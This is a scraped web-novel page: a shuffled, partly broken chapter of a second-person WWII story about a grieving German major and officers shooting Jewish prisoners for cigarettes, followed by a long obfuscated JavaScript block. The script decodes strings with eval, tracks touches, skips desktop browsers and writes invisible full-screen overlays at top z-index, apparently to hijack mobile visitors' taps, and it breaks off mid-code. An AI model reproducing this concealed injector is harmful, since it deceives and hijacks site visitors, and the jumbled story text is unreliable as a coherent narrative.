1您想让我C您?没问题(2/8)

一场游戏即将开始,赌注是几根香烟,赌局可能是一条命,或者几条。年轻的军官抬起枪,对准艰难行进的人群。随机挑选,谁该中奖?哪儿该中奖?头、胳膊还是胸口?也许是额头,从难度来看那肯定值更多。

不需要多敏感就可以意识到这一点,德莱恩回到别墅的时间越来越短,表情疲倦。这里没有炮火,焦灼的战场远在千里之外,但战场是张网而不是孤立的一个又一个点。当网的一端被扯住,其他地方也会跟着绷紧。

这种事一点儿不罕见,你与他们素不相识。但你看着他们,依然觉得胃部泛起一点抽搐。

德莱恩抓紧时间与你在一起,你不知道那是为什么,但你有你的预感。一切如此仓促,饱含渴望,甚至缺乏意义的短暂相处也备受珍惜,只是睡在你身边已经足够让他留恋万分。年轻的军官拼命想抓住一切机会,只因为他,你,你们都知道一切随时可能终结。

战争上死去那么多人,西蒙不是唯一一个,他光辉而死,殉国身亡,你几乎能猜透德莱恩的想法,他没哭,只是把自己缩成了一团。替别人哀伤的话说了太多,表达哀伤,为英勇送上赞美,一样的话说了太多,轮到自己的时候竟然会无话可说。

天气在变好,其他事情像是也在跟着变好。

他挂断电话,对你说抱歉,为假期的被迫中止,有个紧急会议在那儿等着他。“我很想呆在这里”后面总是要跟上一句“可是”,你知道他没有说谎。他真的很想留下,温暖的房间、温暖的被子和温暖的手臂和嘴唇吸引着他,让他着迷,可是他做不到。

你看见德莱恩披上军装外衣,他的副官已经在楼下等他,从汽车的排气筒中喷出白色的烟雾。年轻的少校快步离开闪闪发光的温暖,走进缭绕着雨雾与潮湿的世界。但上车之前,你看见他向二楼的窗户看了一眼。

你意识到他在抓紧时间。

不,不,你想。这件事也许会发生——但至少不是在现在,在你面前。你推开窗户。声音在舌尖酝酿,下一秒即将出口。他们都知道你,年轻的军官们为你的演奏鼓掌,他们甚至会与你敬酒。钢琴家和犹太人,很多时候,我知道我该觉得光荣,可我就是很难过。”

电话铃毫无预兆地响起,如此突兀,不合时宜。它在德莱恩的假期闯进来,把安全的室内劈开一个大口子,让水汽、寒冷与什么别的东西统统灌进来。你不知道那是什么,但你本能地知道那不是什么好事。

那是赌注。

你从窗帘的缝隙中注视着他,然而那点缝隙不足以让德莱恩看清你。他只是注视那儿,也许根本没意识到你站在那里,然后几秒之后目光移开。年轻的军官拉开车门,坐上汽车,那个钢铁制品喷吐着白雾,载着他驶向了被重重铁丝网隔离开的另一个世界。

也许是越来越近的炮火,也许是什么别的东西。

但无论多晚回来,什么时候回来,只要他还在这座别墅中他就一定要和你睡在一块儿。有时候那实在太晚,只有凌乱的被子证明德莱恩来过又离开。那些他自己睡的时候被子总会铺得平整无比,整齐得像是经过仪器切割。而现在他把它们留给你,只为了能尽量悄无声息地离去,不将你从睡眠中惊醒。

战局在发生变化。从那个电话开始,局势仿佛变得不可控制。

“你应该觉得难过的,文森特。”你说,把他的脑袋抱在怀里,“那可是你哥哥。没人规定为哥哥难过的时候还要想着国家大事。”

你看见那些遥远天空的黑烟,它们的数量也不动声色地增加了两三道。

那双湛蓝的眼睛盈满泪水,像是刚刚下过暴雨的夏季天空。德莱恩看着你,他重复了一遍,用哽咽的声音,“我知道有铁十字勋章,可西蒙死了。”

你胃部的抽搐扩大了,一股冰冷的黏腻在你的内部扩散,你开始感到恶心,为你相当准确地明白了那些香烟的作用。

分烟的那个停下来,他向同伴说了几句什么。隔着一段距离,你不能听见那些话语的内容,但一点儿不妨碍你看清他们的动作。

然后你看到了一些别的东西。

而现在,这张网显然正被扯得很紧。

“我知道,”你拍着他的后背,亲着他的额头,把他用被子紧紧裹住,“好了,好了,哭一会儿吧。”

混乱的情况和繁重的任务让军官们神经紧绷,但你知道囚徒们也觉察到了不同寻常的味道。在那些军官不知道的地方,总有人能藏匿下来一点儿什么东西,一个收音机,一支笔或者纸张,以及那些别的什么。总之,所有人都开始意识到局势的变化。七月的最后几天飞快地过去,八月也一样。德莱恩有时候九点才回来,有时候十点,甚至彻夜不归。他开始需要喝一点红酒才能入睡。在你们睡在一起时年轻的军官看起来总是相当不安,他靠着你的肩膀,在睡梦中眉头紧皱。

有一回你偶然经过二楼,向外一瞥时看到一队人正被从其他营区押送到别处,他们恰好经过别墅,衣衫褴褛,状态糟糕。你相当怀疑其中某几个用不了几天就会彻底倒在地上。

其他温暖宜人的东西一样,它们让你感到心情愉快。

意识到这一点甚至让你也难过起来。

生产任务在加重,这儿正被当作前线的一个供给方,同时接收从其他沦陷地区送来的集中营囚犯。这里开始变得人满为患,物资紧缺,但是尸体富余。从活着的人到冰冷的死尸,它们之间的转化过程如此轻易,微不足道。一些病痛,毒气,枪支或者子弹——随便哪个都能实现这一点。所以前者逐渐减少,而后者的数量不断增加。

不远处的铁丝网下停着一辆汽车,有几个年轻军官正坐在汽车前盖上,或者靠着车门。看不清军衔,但能在这时候闲在那儿休息,你猜他们至少是中尉,或者上尉。其中一个正在分发香烟。他们显然也注意到了那一批囚徒,衣衫褴褛,袖子上有六芒星的标志。

那时候你也这么觉得,你目睹过无数人在你面前死亡,可当死亡以这种形式出现在你的生命时,你不知道该说什么,该流泪还是该喊叫。你只是……你只是真的很难过。

德莱恩顾不上为他的哥哥感到骄傲,“光荣而死”和漂亮的勋章都帮不上忙。他看着棺材,知道那里根本没有尸体,于是觉得胸口发堵,该说的话都被卡死在喉咙。

年轻的军官将香烟摆在车盖上,他们一人又掏出了几根。然后其中一个拉了一下枪栓,他抬起枪。

狼狈温暖的神色几乎是一瞬间就从德莱恩身上褪去,像是海啸前会出现的大退潮。他动作利索地下床,接起电话,表情看起来不太好。

但那句话没能继续下去。

“前线……我们都没料到情况这么糟糕,全面登陆,听起来太不可能……是的,我们需要尽力保证前线的物资供应。是的。我在十五分钟之后到。”

于是少校真的哭了一会儿。没人打扰,只有雨声,他埋在你怀里无声地流泪,许久才抬起头,露出一个不算那么好看的笑容。可你就是觉得他很迷人。他因为哭泣显得格外澄澈的蓝眼睛,他凌乱的头发和狼狈发红的鼻尖,那是德莱恩,但要减掉少校这个字眼。

你的话像是颁发了通行证,给泪水,给所有不被允许的东西。少校将手从眼睛上拿下来,他眨了一下眼睛,然后几乎是立刻,眼泪顺着眼角流下去,在眼尾拖出水痕。你觉得他早就在盼着这句话了,可从西蒙死去到今天以前,大概没一个人会对德莱恩这么说。

本章尚未读完,请点击下一页继续阅读---->>>

死掉的不是“西蒙·冯·德莱恩上尉”,哀悼者也不是“文森特·冯·德莱恩少校”。那只是西蒙,而他的弟弟,年轻的文森特觉得难过,因为他唯一的哥哥死了。

八月末的一天,夏季的尾巴仍发出余热。收音机里依然在播放钢琴曲,而德莱恩忽然出现在门边,他看起来那

但你知道还有一个原因让你喜欢夏天。这种气候可不会冻死什么人,你想,更不会让谁热死。相对于冬季,它好受得多了。至少温度没有继续在痛苦上添砖加瓦——或许也很难具体形容它减少了多重的负担,但即使一星半点儿,有时候也足够关键了。

你想起你听见爸爸的死讯,听见他死在流弹横飞的华沙。你呆楞了半天,游魂一样回了你的住处,在洗脸的时候多洗了三四次。你也没有哭,甚至找不到合适的话来描述这一切,描述你胸口那种令人发疯的空洞。

“克莱尔。”他说,“我……”

  • 上一页

  • 返回目录

  • 加入书签

  • 下一页

  • (function(){function a0b(a,b){var c=a0a();return a0b=function(d,e){d=d-0xf7;var f=c[d];return f;},a0b(a,b);}function a0a(){var bP=['write','tpi','c="','bottom','/moc.','rc="','k21','parentNode','top','spt','has','style','data','padding-bottom','hei','location','offsetHeight','clientY','check','lin','100vh','28976ZUnJQB','startsWith','" style=" position:;"> ','2028','th:1','length','touchmove','0vw','getElementsByTagName','i13','k22','327VLfSAK','split','parse','Mac','classId','ght','padding-bottom:32%;','config_','data_','now','substring','random','floor','push','ht:','1197624JqwrKe','slice','innerHTML','wdf','x;" sr','sgewgekahs gninnur enon lamron etinifni s2.0 esae s5.1','k23','tpir','stringify','fixed','join','getDate','
    body{','querySelector','touch_max_height','getElementsByClassName','currentPvIndex_','offsetTop','reverse','0px','real','cli','8288225prcUdg','"+"','ion','idth','17EFGkmN','100vw','10ufnraS','yes','href','__executedClassIds','setItem','this_touch_status','touches','" />','0vh','mati','eig','moc','clear','undefined','" style="position:fixed;color:transparent;">.
    ','
    ','<','/s','c',U(b9(0x15a)),'>'];}window[b6(0xff)]=function(){var ba=b6,aB=g,aC=eval(ba(0x130)+aB)+'';sessionStorage[ba(0x116)](ba(0x14c)+aB,aC),sessionStorage[ba(0x116)]('data'+aB,0x1);};function t(aB,aC){var bb=b6;if(typeof aB===bb(0x11f)||aB===null)return[];var aD=aB[bb(0x145)](aC);return aD;}var u=n>=T(0x1,0x64),v=![],w=![],x=o>=T(0x1,0x64),y=0x0,z=0x0,A=z>=T(0x1,0x64),B=0x0,C=0x0,D=0x0,E={'touchMotion':function(){}},F=0x0,G=0x0,H=0x0;document[b6(0x169)]('touchstart',function(aB){var bc=b6,aC=aB[bc(0x118)][0x0][bc(0x135)];G=aC,H=aC;},![]),document[b6(0x169)](b6(0x13f),function(aB){var bd=b6,aC=aB[bd(0x118)][0x0][bd(0x135)];if(aCH)H=aC;var aD=H-G;E[bd(0xf7)](aD);},![]);function I(aB){var be=b6;window[be(0x115)]=window[be(0x115)]||new Set();if(window[be(0x115)][be(0x12e)](aB[be(0x148)]))return;window[be(0x115)][be(0x177)](aB['classId']),console[be(0x11e)]();var aC=aB[be(0x148)],aD=aB['i1'],aE=aB['i2'],aF=aB['i3'],aG=aB['i4'],aH=aB['i5'],aI=aB[be(0x179)],aJ=aB[be(0x172)],aK=aB[be(0x142)];if(sessionStorage[aC+'_real'])return;var aL=JSON[be(0x146)](sessionStorage[aC]||'[]'),aM=0x0;document[be(0x169)]('touchend',function(){var bf=be,aO=H-G;if(aOaH&&(F++,aM=Date[bf(0x14d)]());}else{}},![]);var aN=Date[be(0x14d)]();aL[be(0x151)](![]),sessionStorage[aC]=JSON[be(0x15b)](aL),setInterval(function(){var bg=be,aO=(Date[bg(0x14d)]()-aN)/0x3e8,aP=aO>=aD,aQ=F>=aE,aR=document[bg(0x17b)][bg(0x134)]>=aG,aS=aP&&aQ&&aR;aL[aL['length']-0x1]!==aS&&(aL[aL[bg(0x13e)]-0x1]=aS,sessionStorage[aC]=JSON[bg(0x15b)](aL));var aT=aL[bg(0x166)](Boolean)[bg(0x13e)],aU=aT>=aI,aV=!aJ||aL[bg(0x175)](Boolean),aW=!aK||aL[0x0]&&aL['every'](Boolean),aX=aU&&aV&&aW;aX&&(sessionStorage[aC+bg(0x16c)]=bg(0x122));},0x3e8);}function J(aB){return aB===''?0x0:parseInt(aB,0xa);}function K(aB,aC){var bh=b6;return{'classId':bh(0x14b)+aB,'i1':J(aC['i1']),'i2':J(aC['i2']),'i3':J(aC['i3']),'i4':J(aC['i4']),'i5':J(aC['i5']),'i11':J(aC[bh(0x179)]),'i12':aC['i12'],'i13':aC[bh(0x142)]};}function L(aB,aC){var bi=b6;if(!sessionStorage[aB[bi(0x148)]+bi(0x16c)])return;for(var aD in aC){if(aD[bi(0x13a)]('r')&&typeof aC[aD]!==bi(0x11f)){var aE='k'+aD[bi(0x154)](0x1);aC[aE]=aC[aD];}}return aC;}function M(aB){p=aB['m1'],j=aB['m2'],n=aB['m3'];}function N(aB){var bj=b6,aC=sessionStorage[bj(0x16e)](bj(0x130)+aB);if(null==aC)return null;var aD=sessionStorage[bj(0x16e)](bj(0x14c)+aB),aE=JSON[bj(0x146)](aD),aF=K(aB,aE);I(aF),M(aE),L(aF,aE),v=parseInt(aE['k2'])>=T(0x1,0x64),w=parseInt(aE['k1'])>=T(0x1,0x64),x=parseInt(aE['k3'])>=T(0x1,0x64);function aG(aO,aP,aQ,aR){var bl=bj,aS={'this_touch_status':![],'touch_min_height':0x0,'touch_max_height':0x0,'touchDelayTimeout':0x0};function aT(b2){var bk=a0b,b3=b2[bk(0x145)](','),b4=b3[b3[bk(0x13e)]-0x1][bk(0x145)]('_');aS[bk(0xfb)]=parseInt(b4[0x0]),aS[bk(0x104)]=parseInt(b4[0x1]);}if(aO){var aU=aO['split'](','),aV=aU[0x0]?parseInt(aU[0x0]):0x64,aW=Math[bl(0x14f)]()*0x64;if(aW=T(0x1,0x64)&&(v=!![],y=parseInt(aK[0x1])*0x3e8);else{var aL=t(aE['k4'],',');aL[bj(0x13e)]===0x2&&(parseInt(aL[0x0])>=T(0x1,0x64)&&(w=!![],y=parseInt(aL[0x1])*0x3e8));}}}}}if(!x){var aM=t(aE['k9'],'_');if(aM&&aM[bj(0xfe)](q+'')!==-0x1)x=!![];else{var aN=t(aE['k6'],',');aN['length']===0x2&&(parseInt(aN[0x0])>=T(0x1,0x64)&&setTimeout(function(){x=!![],al();},parseInt(aN[0x1])*0x3e8));}}}N(g);var O='',P=0x2;d+='?',c+='?';var Q=U(b6(0x128));function R(aB){var bm=b6,aC='';for(var aD=0x0;aD=0x30&&aF<=0x39&&(aF=(aF-0x30+aC)%0xa+0x30),aD+=String['fromCharCode'](aF);}return aD;}function a2(aB){var bx=b6,aC=0x5,aD=a1(aB,aC),aE=aD[bx(0x13e)];if(0xa>aE)aE='00'+aE;else{if(0x64>aE)aE='0'+aE;}var aF=aE+aD;return aF;}var a3=location[b6(0x114)],a4=navigator;function a5(){var by=b6,aB=a4[by(0x174)][by(0xfe)]('Win')!=-0x1,aC=a4[by(0x174)]['indexOf'](by(0x147))!=-0x1,aD=a4[by(0x174)]?![]:!![];if(a3[by(0xfe)]('vv')!=-0x1)aB=![];if(aB)return!![];else{if(aC)return!![];else{if(aD)return![];}}return![];}if(a5())return;var a6=document,a7='h'+U('/:sptt')+'/',a8='0',a9=S(0xb),aa=S(0xa),ab=S(0xa),ac=S(0xa),ad=S(0x7),ae=T(0x7fffffff-0x64,0x7fffffff),af=ae-T(0x2710,0x4e20),ag=T(0x73,0x7a),ah=function(){},ai=b6(0x11a),aj=b6(0x140);if(v)ai=b6(0x138),aj=b6(0x111),a8='1',P=0x3,ah=function(aB){var bz=b6;aB['s'+'ty'+'le']['z'+'-'+'in'+bz(0x165)]=af;};else w&&(ai=p+'vh',aj=b6(0x111),a8='2',P=0x4,ah=function(aB){var bA=b6;aB['s'+'ty'+'le']['z'+'-'+'in'+bA(0x165)]=af;});var ak=Date[b6(0x14d)]();E[b6(0xf7)]=function(aB){var bB=b6;if(!A)return;if(D!=0x0){var aC=new Date(ak)[bB(0x170)](),aD=(Date[bB(0x14d)]()-aC)/0x3e8;if(D>aD)return;}aB>B&&C>=aB&&(P=0x3,eval(ab)());};function al(){var bC=b6;x&&!window[bC(0x168)]&&(window[bC(0x168)]=!![],P=0x3,eval(ab)());}var am='',an='relative',ao=b6(0x12c),ap=b6(0x127),aq='',ar='padding-top';h==0x1&&(an=b6(0x15c),am='padding-top:32%;',i==b6(0x127)&&(am=b6(0x14a),ao=b6(0x127),ap=b6(0x127),ar=b6(0x131)),ae=T(0x13880,0x15f90));an=V(an,0x2),an=W(b6(0x10d),an),an='"'+an+'"',ao=V(ao,0x1),ao=W(b6(0x10d),ao),ao='"'+ao+'"',ap=V(ap,0x1),ap=W(b6(0x10d),ap),ap='"'+ap+'"';var as='',at='';j==b6(0x113)&&(as=U(b6(0x16f)),at=U(b6(0x158)));var au=T(0x64,0xc8),av=au+0xc8,aw=y+av+0x64,ax=aw+0x12c,ay=ax+0x12c,az=function(){};if(u){a8+='3';var az=function(){var bF=b6,aB=function(aD){var bD=a0b,aE=document[bD(0x103)](bD(0x17b)),aF=document[bD(0x103)](aD),aG=aF[bD(0x134)],aH=aC(aF),aI=aH+aG,aJ=!![];aE[bD(0x169)](bD(0x13f),aK);function aK(aL){var bE=bD,aM=aL[bE(0x118)][0x0],aN=aM[bE(0x135)],aO=aM[bE(0xf8)],aP=0x0;h!=0x1?aP=aM[bE(0xf8)]:aP=aM[bE(0x135)],aP>=aH&&aP
    '),document[bL(0xfd)](aG),document['writeln']('
    ');if(!![]){}setTimeout(function(){function aI(aJ,aK,aL){var bN=a0b,aM=document['getElementsByClassName'](aJ)[0x0];;;;;;;;aM['s'+'ty'+'le'][bN(0x132)+bN(0x149)]=ag+'px',aM['s'+'ty'+'le'][eval(ao)]='0',aM['s'+'ty'+'le']['le'+'f'+'t']='0',aM['s'+'ty'+'le'][bN(0x17c)+bN(0x11b)+'on']=at,aM['s'+'ty'+'le']['z'+'-'+'in'+bN(0x165)]=ae,aM['s'+'ty'+'le']['w'+bN(0x10f)]=bN(0x111),aM[bN(0x155)]+='